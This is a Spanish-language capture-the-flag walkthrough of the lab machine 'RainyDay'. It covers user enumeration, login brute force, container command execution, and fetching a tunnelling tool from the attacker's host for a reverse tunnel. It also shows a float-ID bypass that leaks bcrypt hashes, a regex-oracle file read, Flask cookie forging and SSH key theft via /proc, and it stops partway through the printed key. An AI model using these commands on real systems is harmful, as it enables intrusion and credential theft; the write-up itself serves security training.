RainyDay
25 minutos de lectura
jack
y descubrir que los contenedores de Docker permiten acceder a información de procesos de la máquina, por lo que podemos leer la clave privada de SSH de este usuario. Después, podemos ejecutar un intérprete de Python personalizado y escapar de la sandbox para obtener una shell como jack_adm
. Finalmente, hay una herramienta que genera hashes con bcrypt
, y tenemos que abusar de una limitación de bcrypt
para extraer la pimienta secreta y romper el hash de root
para escalar privilegios- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.11.184
- Fecha: 15 / 10 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.184 -p 22,80
Nmap scan report for 10.10.11.184
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48dde361dc5d5878f881dd6172fe6581 (ECDSA)
|_ 256 adbf0bc8520f49a9a0ac682a2525cd6d (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.22 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.184
se nos redirige a http://rainycloud.htb
. Después de agregar el dominio a /etc/hosts
, veremos esta página:
En primer lugar, vamos a enumerar más subdominios usando ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.184 -H 'Host: FUZZ.rainycloud.htb' -fs 229
dev [Status: 403, Size: 26, Words: 5, Lines: 1, Duration: 411ms]
Y ahí vemos dev.rainycloud.htb
, pero no podemos acceder:
$ curl -i dev.rainycloud.htb
HTTP/1.1 403 FORBIDDEN
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 26
Connection: keep-alive
Access Denied - Invalid IP
Desde aquí, podemos ver que la tecnología web detrás de nginx es Flask, porque el mensaje de estado de respuesta aparece en letras mayúsculas. Además, no podemos saltarnos la comprobación de la IP usando cabeceras del tipo X-Forwarded-For
. Por tanto, este es un punto muerto.
En la página principal, tenemos jack
como nombre de usuario. Tendremos que iniciar sesión para utilizar la aplicación web:
Pero estaría mejor registrarse primero:
Aunque el registro está cerrado…
Enumeración de usuarios
Mirando el código HTML de /login
, hay un mensaje de depuración que filtra una ruta de código fuente:
De hecho, 288
es la línea de código donde el programa falla. Sorprendentemente, si usamos jack
como nombre de usuario para iniciar sesión, veremos 294
en el mensaje de depuración:
Así que aquí tenemos una forma de enumerar a los usuarios. Usemos ffuf
:
$ ffuf -w $WORDLISTS/names.txt -u http://rainycloud.htb/login -d 'username=FUZZ&password=asdf' -H 'Content-Type: application/x-www-form-urlencoded' -mr 294
gary [Status: 200, Size: 3488, Words: 1270, Lines: 66, Duration: 1351ms]
jack [Status: 200, Size: 3488, Words: 1270, Lines: 66, Duration: 490ms]
root [Status: 200, Size: 3488, Words: 1270, Lines: 66, Duration: 226ms]
Tenemos 3 usuarios disponibles.
Ataque de fuerza bruta
Para tener algo de reconocimiento en segundo plano, pensé que gary
tendría una contraseña débil, por lo que usé un ataque de fuerza bruta con las primeras contraseñas de rockyou.txt
hasta que encontré un inicio de sesión exitoso:
$ for p in $(head -10000 $WORDLISTS/rockyou.txt); do curl rainycloud.htb/login -sd "username=gary&password=$p" | md5sum | tr \\n ' '; echo $p; done | grep -v 225c68dfe55778812b201bd4cf01fbd5
0aff13952610be440befcb31a31a4c3f - rubberducky
Sorprendentemente, después de una hora, encontré que rubberducky
era la contraseña de gary
.
Nótese que empleé el hash MD5 de la respuesta para determinar la que fuera exitosa.
Enumeración de archivos de JavaScript
Mientras corría el ataque de fuerza bruta, enumeré rutas web y archivos de JavaScript con ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://rainycloud.htb/FUZZ
login [Status: 200, Size: 3254, Words: 1158, Lines: 63, Duration: 67ms]
new [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 109ms]
register [Status: 200, Size: 3686, Words: 1324, Lines: 68, Duration: 67ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 53ms]
[Status: 200, Size: 4378, Words: 1045, Lines: 110, Duration: 302ms]
containers [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 259ms]
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://rainycloud.htb/js/FUZZ.js
signup [Status: 200, Size: 259, Words: 58, Lines: 12, Duration: 59ms]
containers [Status: 200, Size: 1606, Words: 437, Lines: 51, Duration: 182ms]
El único interesante es containers.js
:
function saveBlob(blob, fileName) {
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download = fileName;
a.dispatchEvent(new MouseEvent('click'));
}
// RainyCloud-1: TODO - Implement REST API sensibly (this is dumb!)
function action(action_name, container_id, ctx) {
ctx.disabled = true;
let xhr = new XMLHttpRequest();
xhr.open("POST", "/containers");
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
data = {
"action": action_name,
"id": container_id
}
if (action_name === "logs" || action_name.startsWith("exec")) {
if (action_name.startsWith("exec"))
{
data['action'] = action_name + prompt("Enter Command: ")
}
xhr.responseType = 'blob';
xhr.onload = function (e) {
var blob = e.currentTarget.response;
var contentDispo = e.currentTarget.getResponseHeader('Content-Disposition');
// https://stackoverflow.com/a/23054920/
var fileName = contentDispo.match(/filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/)[1];
saveBlob(blob, fileName);
ctx.disabled = false;
location.reload();
}
}
else
{
xhr.onload = function (e) {
ctx.disabled = false;
if (action_name.startsWith("create"))
{
location.href = "/containers"
}
else
{
location.reload();
}
}
}
xhr.send(new URLSearchParams(data).toString())
}
Básicamente, podemos interactuar con los contenedores usando un id
y una action
. También encontramos otro mensaje de depuración.
Como tenemos acceso como gary
, podemos echar un vistazo a /containers
:
Vamos a crear un contenedor alpine
llamado test
:
En el código HTML de la página vemos la interacción con JavaScript usando acciones stop
, exec
, execdetach
y logs
. Además, tenemos el id
del contenedor:
Por otro lado, podemos confirmar que la tecnología usada es Flask, ya que tenemos una cookie de sesión típica de Flask:
En esta cookie aparece nuestro nombre de usuario:
$ flask-unsign -d -c eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tEKA.96Pgi_pmEs4SXG4CSpq_wvAQ31w
{'username': 'gary'}
Desafortunadamente, la clave secreta que firma las cookies no se encuentra en rockyou.txt
y no se puede extraer con flask-unsign
.
Enumeración del contenedor
Vamos a probar a ejecutar comandos desde el contenedor de Docker:
$ cookie=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tEKA.96Pgi_pmEs4SXG4CSpq_wvAQ31w
$ curl rainycloud.htb/containers --data-urlencode "action=execls" -d 'id=b420a98bd8eafcb1f35e5d91258172caa51db54a60f0e8262086e3ca5f357188' -H "Cookie: session=$cookie"
bin
dev
etc
home
lib
logfile
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Podemos envolver el comando anterior en una función para poder trabajar mejor:
$ function exec_cmd() { curl rainycloud.htb/containers --data-urlencode "action=exec$1" -sd 'id=b420a98bd8eafcb1f35e5d91258172caa51db54a60f0e8262086e3ca5f357188' -H "Cookie: session=$cookie" }
$ exec_cmd 'ls -la'
total 64
drwxr-xr-x 1 root root 4096 Oct 15 23:40 .
drwxr-xr-x 1 root root 4096 Oct 15 23:40 ..
-rwxr-xr-x 1 root root 0 Oct 15 23:40 .dockerenv
drwxr-xr-x 2 root root 4096 Sep 29 13:47 bin
drwxr-xr-x 15 root root 3860 Oct 15 23:40 dev
drwxr-xr-x 1 root root 4096 Oct 15 23:40 etc
drwxr-xr-x 2 root root 4096 Sep 29 13:47 home
drwxr-xr-x 7 root root 4096 Sep 29 13:47 lib
-rwxrwxrwx 1 root root 0 Oct 15 23:40 logfile
drwxr-xr-x 5 root root 4096 Sep 29 13:47 media
drwxr-xr-x 2 root root 4096 Sep 29 13:47 mnt
drwxr-xr-x 2 root root 4096 Sep 29 13:47 opt
dr-xr-xr-x 287 root root 0 Oct 15 23:40 proc
drwx------ 2 root root 4096 Sep 29 13:47 root
drwxr-xr-x 2 root root 4096 Sep 29 13:47 run
drwxr-xr-x 2 root root 4096 Sep 29 13:47 sbin
drwxr-xr-x 2 root root 4096 Sep 29 13:47 srv
dr-xr-xr-x 13 root root 0 Oct 15 23:40 sys
drwxrwxrwt 2 root root 4096 Sep 29 13:47 tmp
drwxr-xr-x 7 root root 4096 Sep 29 13:47 usr
drwxr-xr-x 12 root root 4096 Sep 29 13:47 var
Enumeramos procesos en ejecución así:
$ exec_cmd 'ps -a'
PID USER TIME COMMAND
1 root 0:04 {systemd} /sbin/init
2 root 0:00 [kthreadd]
...
453 root 0:01 [jbd2/dm-0-8]
454 root 0:00 [ext4-rsv-conver]
514 root 1:39 /lib/systemd/systemd-journald
545 root 0:00 [ipmi-msghandler]
551 root 0:00 [kaluad]
552 root 0:00 [kmpath_rdacd]
554 root 0:00 [kmpathd]
556 root 0:00 [kmpath_handlerd]
558 root 0:08 /sbin/multipathd -d -s
560 root 0:00 /lib/systemd/systemd-udevd
579 101 0:01 /lib/systemd/systemd-networkd
653 root 0:00 [nfit]
748 root 0:00 [jbd2/sda2-8]
749 root 0:00 [ext4-rsv-conver]
763 102 0:10 /lib/systemd/systemd-resolved
764 104 0:03 /lib/systemd/systemd-timesyncd
783 root 0:00 /usr/bin/VGAuthService
786 root 1:34 /usr/bin/vmtoolsd
809 root 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
853 103 0:00 {dbus-daemon} @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
858 root 0:03 /usr/sbin/irqbalance --foreground
861 root 0:00 {networkd-dispat} /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
862 root 0:00 /usr/libexec/polkitd --no-debug
863 107 0:50 /usr/sbin/rsyslogd -n -iNONE
864 root 0:04 /usr/lib/snapd/snapd
865 root 0:00 /lib/systemd/systemd-logind
866 root 0:00 /usr/libexec/udisks2/udisksd
886 root 0:00 /usr/sbin/ModemManager
1189 root 0:00 /usr/sbin/cron -f -P
1190 1000 0:00 sleep 100000000
1203 root 1:08 /usr/bin/containerd
1214 root 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
1220 root 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
1237 root 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
1238 xfs 2:52 nginx: worker process
1239 xfs 3:23 nginx: worker process
1255 root 0:28 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
1473 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 49153 -container-ip 172.18.0.2 -container-port 40001
1478 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 49153 -container-ip 172.18.0.2 -container-port 40001
1492 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 40000 -container-ip 172.18.0.2 -container-port 40000
1498 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 40000 -container-ip 172.18.0.2 -container-port 40000
1514 root 0:10 /usr/bin/containerd-shim-runc-v2 -namespace moby -id c0fe876cc336487fb0bf8e28e08538a6dff303eb21ce58051015fb1eec4dded8 -address /run/containerd/containerd.sock
1536 root 0:03 tail -f /logfile
1610 1001 1h02 /usr/local/bin/uwsgi --ini rainycloud.ini --threads 10
4165 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 40001 -container-ip 172.18.0.3 -container-port 40001
4171 root 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 40001 -container-ip 172.18.0.3 -container-port 40001
4197 root 0:11 /usr/bin/containerd-shim-runc-v2 -namespace moby -id b420a98bd8eafcb1f35e5d91258172caa51db54a60f0e8262086e3ca5f357188 -address /run/containerd/containerd.sock
4230 root 0:02 tail -f /logfile
15057 root 0:00 [kworker/u256:2-]
15143 root 0:00 [kworker/0:1-eve]
15146 root 0:00 [kworker/1:1-rcu]
15180 root 0:00 [kworker/0:0-cgr]
15197 root 0:00 [kworker/u256:0-]
15206 root 0:00 [kworker/1:0-rcu]
15262 root 0:00 [kworker/0:2]
15263 root 0:00 [kworker/u256:1-]
15274 root 0:00 [kworker/1:2-eve]
15276 1337 0:00 ps -a
15284 1337 0:00 timeout 5s ps -a
Aquí tenemos algunas cosas interesantes:
c0fe876cc336487f...
es elid
del contenedor dejack
llamadosecrets
. Su dirección IP es172.18.0.2
- Hay algunos puertos abiertos en la máquina principal: 40000, 40001 y 49153. Tenemos conexión con la máquina desde
172.18.0.1
- Nuestra dirección IP es
172.18.0.3
- Un proceso de la máquina es
/usr/local/bin/uwsgi --ini rainycloud.ini --threads 10
, que ejecuta el servidor web en producción usando Flask
No podemos conectarnos al otro contenedor:
$ curl rainycloud.htb/containers -d 'id=c0fe876cc336487fb0bf8e28e08538a6dff303eb21ce58051015fb1eec4dded8' --data-urlencode "action=execls" -H "Cookie: session=$cookie"
Unauthorized
Acceso al entorno de desarrollo
Tenemos que recordar que había un subdominio que bloqueaba nuestra dirección IP externa, pero ahora tenemos acceso desde el contenedor:
$ exec_cmd 'wget -qO- --header="Host: dev.rainycloud.htb" 172.18.0.1'
<!doctype html>
<html lang="en">
...
<body>
<nav class="navbar navbar-expand-md navbar-light fixed-top bg-light">
<a class="navbar-brand" href="/">RainyCloud</a> <img src="img/cloud-service.png"></img>
...
</nav>
<main role="main">
<div class="jumbotron">
<div class="container">
<h1 class="display-3">Welcome to RainyCloud (Dev)!</h1>
<p>Rainycloud is the simple hosting service that you need! Simply register and start a docker container at the click of a button!</p>
WARNING: This tool is still in beta. The features coming in the next release include better command execution, better log viewing and an accessible and documented REST API.
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-4">
<h2> Online Containers</h2>
<table class="table">
<thead>
<th scope="col">Container Name</th>
<th scope="col">Image Name</th>
<th scope="col">User</th>
</thead>
<tbody>
<tr>
<td>test</td>
<td>alpine:latest</td>
<td>gary</td>
</tr>
<tr>
<td>secrets</td>
<td>alpine-python:latest</td>
<td>jack</td>
</tr>
</tbody>
</table>
</div>
<div class="col-md-4">
</div>
...
</div>
<hr>
</div> <!-- /container -->
</main>
<footer class="container">
<p>© Company 2017-2018</p>
</footer>
...
</body>
</html>
Ahí está. En este punto, sería conveniente descargar chisel
en el contenedor y realizar un reenvío de puertos para ver la página web en el navegador. Al descargarlo, podemos ejecutarlo en segundo plano mediante el comando execdetach
(podemos abusar de la función exec_cmd
para eso):
$ exec_cmd 'wget -qO /tmp/.chisel 10.10.17.44/chisel'
$ exec_cmd 'chmod +x /tmp/.chisel'
$ exec_cmd 'detach/tmp/.chisel client 10.10.17.44:1234 R:80:172.18.0.1:80'
Success
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.184 - - [] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ ./chisel server -p 1234 --reverse
server: Reverse tunnelling enabled
server: Fingerprint 2v6LdPLlcUWC6gh6Di2QZgYLGvH6Kfvr0RjMF5WYaR8=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:80=>172.18.0.1:80: Listening
Ahora tenemos que hacer que dev.rainycloud.htb
apunte a 127.0.0.1
en /etc/hosts
. Luego, tenemos esta web de desarrollo:
Enumeración de API
Aquí hay varias pistas que apuntan a una API. Si añadimos una barra al final del comando de ffuf
, veremos que hay otra ruta disponible:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://dev.rainycloud.htb/FUZZ/
api [Status: 200, Size: 649, Words: 105, Lines: 24, Duration: 78ms]
[Status: 200, Size: 4574, Words: 1172, Lines: 116, Duration: 79ms]
De hecho, también funciona en rainycloud.htb
:
$ curl dev.rainycloud.htb/api/
<h1> API v0.1 </h1>
Welcome to the RainyCloud dev API. This is UNFINISHED and should not be used without permission.
<table>
<tr>
<th>Endpoint</th>
<th>Description</th>
</tr>
<tr>
<td><pre>/api/</pre></td>
<td>This page</td>
</tr>
<tr>
<td><pre>/api/list</pre></td>
<td>Lists containers</td>
</tr>
<tr>
<td><pre>/api/healthcheck</pre></td>
<td>Checks the health of the website (path, type and pattern parameters only available internally)</td>
</tr>
<tr>
<td><pre>/api/user/<id></pre></td>
<td>Gets information about the given user. Can only view current user information</td>
</tr>
$ curl dev.rainycloud.htb/api/ -s | md5sum
5caace956c65ddc00f3cd166d83a3327 -
$ curl rainycloud.htb/api/ -s | md5sum
5caace956c65ddc00f3cd166d83a3327 -
Ahora podemos interactuar un poco con la API:
$ curl rainycloud.htb/api/list -s | jq
{
"secrets": {
"image": "alpine-python:latest",
"user": "jack"
},
"test": {
"image": "alpine:latest",
"user": "gary"
}
}
$ curl rainycloud.htb/api/healthcheck -s | jq
{
"result": true,
"results": []
}
$ curl rainycloud.htb/api/user/0 -s | jq
{}
$ curl rainycloud.htb/api/user/1 -s | jq
{
"Error": "Not allowed to view other users info!"
}
Vemos que no podemos listar la información de otros usuarios. Pero podemos confundir al servidor usando valores en coma flotante para saltarnos la verificación:
$ curl rainycloud.htb/api/user/1.0 -s | jq
{
"id": 1,
"password": "$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O",
"username": "jack"
}
$ curl rainycloud.htb/api/user/2.0 -s | jq
{
"id": 2,
"password": "$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W",
"username": "root"
}
$ curl rainycloud.htb/api/user/3.0 -s | jq
{
"id": 3,
"password": "$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG",
"username": "gary"
}
$ curl rainycloud.htb/api/user/4.0 -s | jq
{}
Aquí tenemos hashes de contraseñas (en formato bcrypt
). Supongo que la vía intencionada de conseguir la contraseña de gary
era rompiendo el hash con john
o hashcat
.
Vemos algunas diferencias en dev.rainycloud.htb
:
$ curl dev.rainycloud.htb/api/healthcheck -s | jq
{
"result": true,
"results": [
{
"file": "/bin/bash",
"pattern": {
"type": "ELF"
}
},
{
"file": "/var/www/rainycloud/app.py",
"pattern": {
"type": "PYTHON"
}
},
{
"file": "/var/www/rainycloud/sessions/db.sqlite",
"pattern": {
"type": "SQLITE"
}
},
{
"file": "/etc/passwd",
"pattern": {
"pattern": "^root.*",
"type": "CUSTOM"
}
}
]
}
Como se trata de una API, podemos probar a mandar peticiones POST:
$ curl rainycloud.htb/api/healthcheck -d ''
POST only allowed from internal systems
$ curl dev.rainycloud.htb/api/healthcheck -d ''
Unauthenticated
$ curl dev.rainycloud.htb/api/healthcheck -d '' -H "Cookie: session=$cookie"
ERROR - missing parameter
Acceso a la máquina
Solamente nos permiten enviar peticiones POST en el entorno de desarrollo, y usando la cookie de sesión. Después de probar un poco, obtenemos una salida exitosa:
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/etc/passwd&pattern=root&type=CUSTOM' -sH "Cookie: session=$cookie" | jq
{
"result": true,
"results": [
{
"file": "/etc/passwd",
"pattern": {
"pattern": "root",
"type": "CUSTOM"
}
}
]
}
Ahora tenemos una manera de extraer archivos carácter a carácter:
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/etc/hostname&pattern=rainyday&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/etc/hostname&pattern=rainydax&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
false
Leyendo archivos del servidor
Estaremos extrayendo el código fuente de Python localizado en /var/www/rainycloud/app.py
mediante este oráculo (byte a byte):
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=#&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=#!/usr/bin/python3&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=#!/usr/bin/python3%0a&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
También podemos aproximar la longitud del archivo:
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{200,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{500,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{5000,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{10000,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
true
$ curl dev.rainycloud.htb/api/healthcheck -d 'file=/var/www/rainycloud/app.py&pattern=[\s\S]{20000,}&type=CUSTOM' -sH "Cookie: session=$cookie" | jq .result
false
Por tanto, vamos a automatizar el proceso de extracción con un script en Python que utilice búsqueda binaria para sacar la longitud del archivo y luego extraiga su contenido: extract_file.py (explicación detallada aquí).
Después de un rato, encontramos las primeras líneas de /var/www/rainycloud/app.py
:
$ python3 extract_file.py $cookie /var/www/rainycloud/app.py
[+] Length: 11572
[<] Content: 449 / 11572
#!/usr/bin/python3
import re
from flask import *
import docker
import bcrypt
import socket
import string
from flask_sqlalchemy import SQLAlchemy
from os.path import exists
from hashlib import md5
from inspect import currentframe, getframeinfo
from urllib.parse import urlparse
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
#secrets.py
from secrets import SECRET_KEY
app = Flask(__name__, static_url_path="")
[!] Exiting...
Entonces, continuaré extrayendo este archivo en segundo plano pero me centraré más en extraer la clave secreta de /var/www/rainycloud/secrets.py
:
$ python3 extract_file.py $cookie /var/www/rainycloud/secrets.py
[+] Length: 80
[+] Content: 80 / 80
SECRET_KEY = 'f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67'
[+] File saved as: var_www_rainycloud_secrets.py
[*] Elapsed time: 0:02:51
Acceso al contenedor de jack
Ahora podemos falsificar sesiones de Flask usando la clave secreta anterior y flask-unsign
:
$ flask-unsign -s -c "{'username': 'jack'}" --secret f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
eyJ1c2VybmFtZSI6ImphY2sifQ.Y0yRIA.8_oTEQXDDh4fNwYdvGeJVuWQs_8
Con esta cookie, podemos interactuar con el contenedor de jack
:
$ cookie=eyJ1c2VybmFtZSI6ImphY2sifQ.Y0yRIA.8_oTEQXDDh4fNwYdvGeJVuWQs_8
$ function exec_cmd() { curl rainycloud.htb/containers --data-urlencode "action=exec$1" -sd 'id=c0fe876cc336487fb0bf8e28e08538a6dff303eb21ce58051015fb1eec4dded8' -H "Cookie: session=$cookie" }
$ exec_cmd 'ls -la'
total 64
drwxr-xr-x 1 root root 4096 Sep 29 13:47 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
-rwxr-xr-x 1 root root 0 Aug 25 10:33 .dockerenv
drwxr-xr-x 2 root root 4096 Sep 29 13:47 bin
drwxr-xr-x 15 root root 3860 Oct 16 19:02 dev
drwxr-xr-x 1 root root 4096 Sep 29 13:47 etc
drwxr-xr-x 2 root root 4096 Sep 29 13:47 home
drwxr-xr-x 1 root root 4096 Sep 29 13:47 lib
-rwxrwxrwx 1 root root 0 Oct 16 19:02 logfile
drwxr-xr-x 5 root root 4096 Sep 29 13:47 media
drwxr-xr-x 2 root root 4096 Sep 29 13:47 mnt
drwxr-xr-x 1 root root 4096 Sep 29 13:47 opt
dr-xr-xr-x 286 root root 0 Oct 16 19:02 proc
drwx------ 1 root root 4096 Sep 29 13:47 root
drwxr-xr-x 2 root root 4096 Sep 29 13:47 run
drwxr-xr-x 2 root root 4096 Sep 29 13:47 sbin
drwxr-xr-x 2 root root 4096 Sep 29 13:47 srv
dr-xr-xr-x 13 root root 0 Oct 16 19:02 sys
drwxrwxrwt 2 root root 4096 Sep 29 13:47 tmp
drwxr-xr-x 1 root root 4096 Sep 29 13:47 usr
drwxr-xr-x 1 root root 4096 Sep 29 13:47 var
$ exec_cmd 'hostname'
c0fe876cc336
Hay una nota que dice que el contenedor de Docker no es completamente seguro:
$ exec_cmd 'ls -la /opt'
total 12
drwxr-xr-x 1 root root 4096 Sep 29 13:47 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
drwxr-xr-x 2 root root 4096 Sep 29 13:47 notes
$ exec_cmd 'ls -la /opt/notes'
total 12
drwxr-xr-x 2 root root 4096 Sep 29 13:47 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
-rw-r--r-- 1 root root 134 Aug 25 10:41 dev_notes.txt
$ exec_cmd 'cat /opt/notes/dev_notes.txt'
- A friend sent me some 'best practices' for docker containers that he suggested I should read through. Set aside some time for that
Acceso mediante SSH
De hecho, antes éramos capaces de ver procesos de la máquina. En efecto, hay un proceso ejecutado por el usuario con UID 1000:
$ exec_cmd 'ps -a' | grep -a 1000
1189 1000 0:00 sleep 100000000
22510 1000 1:14 /tmp/.chisel client 10.10.17.44:1234 R:80:172.18.0.1:80
38949 1000 0:00 /bin/sh
39387 1000 0:00 sh
39917 1000 0:00 sh
55037 1000 0:00 /lib/systemd/systemd --user
55039 1000 0:00 (sd-pam)
55150 1000 0:00 sshd: jack@pts/0
55153 1000 0:00 -bash
Entonces, podemos coger su PID (1189) y mirar en /proc/1189/cwd
para ver el directorio de trabajo actual de dicho proceso:
$ exec_cmd 'ls -l /proc/1189/cwd'
lrwxrwxrwx 1 1000 1000 0 Oct 16 23:32 /proc/1189/cwd -> /home/jack
Y así accedemos a /home/jack
:
$ exec_cmd 'ls -la /proc/1189/cwd/'
total 28
drwxr-x--- 3 1000 1000 4096 Sep 29 13:47 .
drwxr-xr-x 4 root root 4096 Sep 29 13:47 ..
lrwxrwxrwx 1 root root 9 Sep 29 12:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 1000 1000 807 Jan 6 2022 .profile
drwx------ 2 1000 1000 4096 Sep 29 13:47 .ssh
-rw-r----- 1 1000 1000 33 Oct 16 19:02 user.txt
Realmente, esto también era posible desde el contenedor de gary
, pero mediante una reverse shell en segundo plano (porque la ejecución normal tenía UID 1337, y en segundo plano tenía UID 1000… Un poco raro).
Para acceder a la máquina, vamos a coger la clave privada de SSH de jack
:
$ exec_cmd 'cat /proc/1189/cwd/.ssh/id_rsa' | tee id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA7Ce/LAvrYP84rAa7QU51Y+HxWRC5qmmVX4wwiCuQlDqz73uvRkXq
qdDbDtTCnJUVwNJIFr4wIMrXAOvEp0PTaUY5xyk3KW4x9S1Gqu8sV1rft3Fb7rY1RxzUow
SjS+Ew+ws4cpAdl/BvrCrw9WFwEq7QcskUCON145N06NJqPgqJ7Z15Z63NMbKWRhvIoPRO
JDhAaulvxjKdJr7AqKAnt+pIJYDkDeAfYuPYghJN/neeRPan3ue3iExiLdk7OA/8PkEVF0
/pLldRcUB09RUIoMPm8CR7ES/58p9MMHIHYWztcMtjz7mAfTcbwczq5YX3eNbHo9YFpo95
MqTueSxiSKsOQjPIpWPJ9LVHFyCEOW5ONR/NeWjxCEsaIz2NzFtPq5tcaLZbdhKnyaHE6k
m2eS8i8uVlMbY/XnUpRR1PKvWZwiqlzb4F89AkqnFooztdubdFbozV0vM7UhqKxtmMAtnu
a20uKD7bZV8W/rWvl5UpZ2A+0UEGicsAecT4kUghAAAFiHftftN37X7TAAAAB3NzaC1yc2
EAAAGBAOwnvywL62D/OKwGu0FOdWPh8VkQuapplV+MMIgrkJQ6s+97r0ZF6qnQ2w7UwpyV
FcDSSBa+MCDK1wDrxKdD02lGOccpNyluMfUtRqrvLFda37dxW+62NUcc1KMEo0vhMPsLOH
KQHZfwb6wq8PVhcBKu0HLJFAjjdeOTdOjSaj4Kie2deWetzTGylkYbyKD0TiQ4QGrpb8Yy
nSa+wKigJ7fqSCWA5A3gH2Lj2IISTf53nkT2p97nt4hMYi3ZOzgP/D5BFRdP6S5XUXFAdP
UVCKDD5vAkexEv+fKfTDByB2Fs7XDLY8+5gH03G8HM6uWF93jWx6PWBaaPeTKk7nksYkir
DkIzyKVjyfS1RxcghDluTjUfzXlo8QhLGiM9jcxbT6ubXGi2W3YSp8mhxOpJtnkvIvLlZT
G2P151KUUdTyr1mcIqpc2+BfPQJKpxaKM7Xbm3RW6M1dLzO1IaisbZjALZ7mttLig+22Vf
Fv61r5eVKWdgPtFBBonLAHnE+JFIIQAAAAMBAAEAAAGAB0Sd5JwlTWHte5Xlc3gXstBEXk
